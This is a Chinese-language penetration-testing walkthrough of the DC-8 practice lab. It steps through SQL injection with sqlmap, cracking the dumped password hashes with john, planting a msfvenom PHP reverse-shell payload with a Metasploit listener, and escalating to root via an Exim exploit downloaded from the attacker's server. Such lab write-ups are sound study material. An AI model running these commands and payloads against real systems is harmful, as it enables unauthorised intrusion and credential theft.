DC系列靶场---DC 8靶场的渗透测试

信息收集

地址探测

使用arpscan对目标主机进行地址探测

arp-can -l I eth0

端口扫描

nmap -sS -sV -T4 -p- -O 172.30.1.131

目标主机开启了80端口和22端口。

http探测

打开网站看到并没有什么提示

      

那就随便点点看看网站有没有交互式的地方

漏洞探测及利用

漏洞查找

在点网站的细节时发现URL发生了改变，?nid=3，问号传参，这种URL极有可能存在SQL注入漏洞。

初步验证是否有SQL注入漏洞，直接在URL后边加个 ‘ 如果报错那就是被系统执行了，没有进行过滤

加上 ‘ 之后发现报错了，通过报错还看到了查询语句。

SQL注入

Sqlmap扫描注入点

sqlmap -u "172.30.1.131/?nid=3"

查看这里存在一个布尔盲注直接爆破数据库

sqlmap -u "172.30.1.131/?nid=3" --dbs

爆破到两个数据库，关于网站那就是d7db这个库

sqlmap "172.30.1.131/?nid=3" -D d7db --tables

爆破出一大堆数据表，我们关注的肯定是users用户这个表这个表

指定users这个表，列出表中的列

sqlmap -u 172.30.1.131/?nid=2 --dbs -D d7db --tables -T users --columns

爆破出表中的列后，指定列再爆破列中的字段

sqlmap -u 172.30.1.131/?nid=2 --dbs  -D d7db --tables -T users --columns -C name,pass --dump

得到admin、john这两个用户还有加密的密码

将这两个用户名和加密的密码，写入到一个文本文件中。

破解密码

直接使用john进行破解密码

john a.txt

得到john用户的密码，username：john  passwd：turtlu

通过目录枚举得知网站的登录地址为：

http://172.30.1.131/user

生成木马

使用msfvenom生成木马

msfvenom -p php/meterpreter/reverse_tcp LHOST 172.30.1.20 LPORT 2226 -f raw

写入木马

登录到后台，找到新建一个php文件

将我们生成的木马复制到这里，

选择php代码

往下滑，这里只是保存，并不是提交。

在这里填好信息直接提交。这样我们就可以进行连接了。

获取shell

使用msf侦听，这里的LHOST是kali主机，端口要和木马一致

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 172.30.1.20
set lport 2226
exploit

执行后等待连接

shell

python -c 'import pty;pty.spawn("/bin/bash")'

输入shell获取到目标主机的shell，使用python得到交互式shell

提权

信息收集

查看账户文件

cat /etc/passwd

并没有什么有用的信息

查看sudo授权

sudo -l

密码也不对

查看SUID文件

find / -perm -4000 -type f 2>/dev/null

这里看到一个exim4的程序

Exim提权

Exim是一个MTA（Mail Transfer Agent，邮件传输代理）服务器软件，该软件基于GPL协议开发，是一款开源软件。该软件主要运行于类UNIX系统。通常该软件会与Dovecot或Courier等软件搭配使用。Exim同时也是“进出口”（Export-Import）的英文缩写。

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

漏洞查找网站

将文件镜像到本地

searchsploit -m  linux/local/46996.sh

使用python搭建一个建议的web服务器

python -m http.server 8888        (python3)

下载

wget http://192.168.195.76:8888/46996.sh​编辑

dos2unix 46997.sh给文件更改为unix文件

给文件加入权限

chmod 777 46996.sh

运行脚本 -m netcat简称nc

nc 127.0.0.1 31337

等待连接。

拿到flag

总结

1、在url后面看到？也就是传参这种，很有可能存在SQL注入

2、通过这个URL加'看看是否报错，如果报错就是被系统执行了，那就是存在

3、拿到用户名和密码之后使用john进行爆破密码，爆出密码后登录到后台

4、使用msfvenom生成木马后要先保存后再提交

5、拿到shell后进行信息收集，Exim这个程序然后搜索这个程序的漏洞。通过这个程序漏洞提权